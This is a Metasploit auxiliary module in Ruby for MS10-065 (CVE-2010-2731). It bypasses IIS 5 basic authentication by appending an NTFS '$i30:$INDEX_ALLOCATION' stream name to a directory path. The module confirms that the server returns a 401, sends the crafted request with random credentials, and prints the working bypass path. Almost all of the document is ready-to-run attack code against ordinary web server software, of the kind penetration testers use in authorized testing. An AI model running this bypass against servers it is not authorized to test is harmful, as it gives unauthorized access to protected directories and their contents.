MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass',
        'Description' => %q{
          This module bypasses basic authentication for Internet Information Services (IIS).
          By appending the NTFS stream name to the directory name in a request, it is
          possible to bypass authentication.
        },
        'References' => [
          [ 'CVE', '2010-2731' ],
          [ 'OSVDB', '66160' ],
          [ 'MSB', 'MS10-065' ],
          [ 'URL', 'https://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/' ]
        ],
        'Author' => [
          'Soroush Dalili',
          'sinn3r'
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2010-07-02'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI directory where basic auth is enabled', '/'])
      ]
    )
  end

  def has_auth
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_cgi({
      'uri' => uri,
      'method' => 'GET'
    })
    vprint_status(res.body) if res

    return (res and res.code == 401)
  end

  def try_auth
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    uri << Rex::Text.rand_text_alpha(rand(5..14)) + ".#{Rex::Text.rand_text_alpha(3)}"

    dir = File.dirname(uri) + ':$i30:$INDEX_ALLOCATION' + '/'

    user = Rex::Text.rand_text_alpha(rand(5..14))
    pass = Rex::Text.rand_text_alpha(rand(5..14))

    vprint_status("Requesting: #{dir}")
    res = send_request_cgi({
      'uri' => dir,
      'method' => 'GET',
      'authorization' => basic_auth(user, pass)
    })
    vprint_status(res.body) if res

    return (res && (res.code != 401) && (res.code != 404)) ? dir : ''
  end

  def run
    if !has_auth
      print_error('No basic authentication enabled')
      return
    end

    bypass_string = try_auth

    if bypass_string.empty?
      print_error('The bypass attempt did not work')
    else
      print_good("You can bypass auth by doing: #{bypass_string}")
    end
  end
end